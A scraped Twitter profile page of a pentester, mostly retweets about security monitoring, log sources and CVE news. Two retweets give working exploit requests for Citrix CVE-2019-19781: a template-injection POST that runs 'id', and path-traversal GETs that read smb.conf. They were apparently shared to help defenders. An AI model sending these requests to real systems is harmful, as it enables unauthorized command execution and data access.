Nekyz

@Nekyz_

Junior Pentester | Forensics Enthusiast | Reversing for fun | CTF ♥ Yin ♥

France
Vrijeme pridruživanja: ožujak 2011.
10 fotografija ili videozapisa Fotografije i videozapisi

Tweetovi

Blokirali ste korisnika/cu @Nekyz_

Jeste li sigurni da želite vidjeti te tweetove? Time nećete deblokirati korisnika/cu @Nekyz_

  1. proslijedio/la je Tweet
    2. velj

    Can your EDR detect symbolic link callback rootkits? Because ours sure as heck can't. and I wrote about these!

    161 proslijeđeni tweet 368 korisnika označava da im se sviđa
    Poništi
  2. proslijedio/la je Tweet
    29. sij

    "I wonder if that payload alerted anything..." -- looks through the SOC's windows "Nope. We're good..."

    10 replies 195 proslijeđenih tweetova 813 korisnika označava da im se sviđa
    Poništi
  3. proslijedio/la je Tweet
    28. sij

    What IT people think: “I need to control program updates and approve them because I’m uniquely intelligent and totally have the time to validate other people’s software.” What that looks like after 3 years:

    8 replies 87 proslijeđenih tweetova 255 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  4. proslijedio/la je Tweet
    27. sij

    A map of Citrix devices that are vulnerable to CVE-2019-19781

    9 replies 121 proslijeđeni tweet 280 korisnika označava da im se sviđa
    Poništi
  5. proslijedio/la je Tweet
    26. sij

    Ladies and gentlemen, I present you a working Remote Code Execution (RCE) exploit for the Remote Desktop Gateway (CVE-2020-0609 & CVE-2020-0610). Accidentally followed a few rabbit holes but got it to work! Time to write a blog post ;) Don't forget to patch!

    47 replies 1.123 proslijeđena tweeta 3.141 korisnik označava da mu se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  6. proslijedio/la je Tweet
    27. sij

    What issues do people have with a rollout in an enterprise? Log volume? I’ve seen orgs worried about 20GB of daily Sysmon log data, while at the same time spending a 6 figure sum on a license to process 500GB of daily firewall log data. (which is mostly useless)

    60 replies 111 proslijeđenih tweetova 447 korisnika označava da im se sviđa
    Poništi
  7. proslijedio/la je Tweet
    26. sij

    Log Sources - ordered by priority - with ratings in different categories - personal and highly subjective assessment - from my most recent slide deck on low hanging fruits in security monitoring

    31 reply 396 proslijeđenih tweetova 981 korisnik označava da mu se sviđa
    Poništi
  8. proslijedio/la je Tweet
    13. sij

    For team blue: Turns out CVE-2019-19781 doesn't need a traversal, beware. POST /vpns/portal/scripts/newbm.pl HTTP/1.1 Host: <target> NSC_USER: ../../../netscaler/portal/templates/si NSC_NONCE: 5 Content-Length: 53 url=a&title=[%+({'BLOCK'='print+`id`'})%]

    6 replies 165 proslijeđenih tweetova 410 korisnika označava da im se sviđa
    Poništi
  9. proslijedio/la je Tweet
    9. sij

    It never ceases to surprise me that so much of hacking can be summed up by the simple question: "You put WHAT, WHERE?"

    16 replies 48 proslijeđenih tweetova 316 korisnika označava da im se sviđa
    Poništi
  10. proslijedio/la je Tweet
    8. sij

    CVE-2019-19781 Citrix path traversal base on vpns folder Example: GET /vpn/../vpns/services.html GET /vpn/../vpns/cfg/smb.conf patch >> HTTP/1.1 403 Forbidden no patch >> HTTP/1.1 200 OK [global] encrypt passwords = yes name resolve order = lmhosts wins host bcast

    10 replies 230 proslijeđenih tweetova 526 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  11. proslijedio/la je Tweet
    1. sij

    Happy Python 2.7 deprecation day 🎉

    17 replies 310 proslijeđenih tweetova 1.247 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  12. proslijedio/la je Tweet
    18. pro 2019.

    Incident Response Plan

    20 replies 868 proslijeđenih tweetova 2.212 korisnika označava da im se sviđa
    Poništi
  13. proslijedio/la je Tweet
    9. stu 2019.

    Log Sources Top 5 (ordered by cost-benefit ratio / volume > detectable threats) 1. Antivirus 2. Windows Eventlog (+Sysmon) 3. Proxy 4. Firewall 5. DNS

    49 replies 417 proslijeđenih tweetova 1.219 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  14. proslijedio/la je Tweet
    6. stu 2019.

    “Siri, Ok Google, Please delete all my emails.” PacSec 2019 Church of Hacking Day 2: Bin Zhao demonstrating CommanderSong, YouTube song videos that embed hidden commands your phone voice recognition will recognize with 100% success rate that are effectively inaudible to humans

    1.148 proslijeđenih tweetova 1.940 korisnika označava da im se sviđa
    Poništi
  15. proslijedio/la je Tweet
    6. stu 2019.

    317 replies 23.241 proslijeđeni tweet 83.216 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  16. proslijedio/la je Tweet
    6. stu 2019.

    *apple watch buzzes*: meeting in 10 *phone calendar pop up*: meeting in 10 *desktop calendar pop up*: meeting in 10 *slack reminder*: meeting in 10 YEAH OK I GOT IT, MEETING IN 10 11 minutes later: OH FUCK MY MEETING

    6.182 proslijeđena tweeta 40.284 korisnika označavaju da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  17. proslijedio/la je Tweet
    3. stu 2019.

    Never seen this technique before.. Fake Captcha.

    41 reply 712 proslijeđenih tweetova 1.558 korisnika označava da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi
  18. proslijedio/la je Tweet
    23. lis 2019.

    Amazing work by Miriam Wiesner () on creating visibility and mapping between MITRE and windows event logs allowing to create GPOs for better and more intelligent choices

    133 proslijeđena tweeta 301 korisnik označava da mu se sviđa
    Poništi
  19. proslijedio/la je Tweet
    18. lis 2019.

    Topical, metasploit. Topical.

    12 replies 95 proslijeđenih tweetova 503 korisnika označavaju da im se sviđa
    Prikaži ovu nit
    Prikaži ovu nit
    Poništi

@Nekyz_ još nije objavio nijedan Tweet.

Čini se da učitavanje traje već neko vrijeme.

Twitter je možda preopterećen ili ima kratkotrajnih poteškoća u radu. Pokušajte ponovno ili potražite dodatne informacije u odjeljku Status Twittera.

    Možda bi vam se svidjelo i ovo:

    ·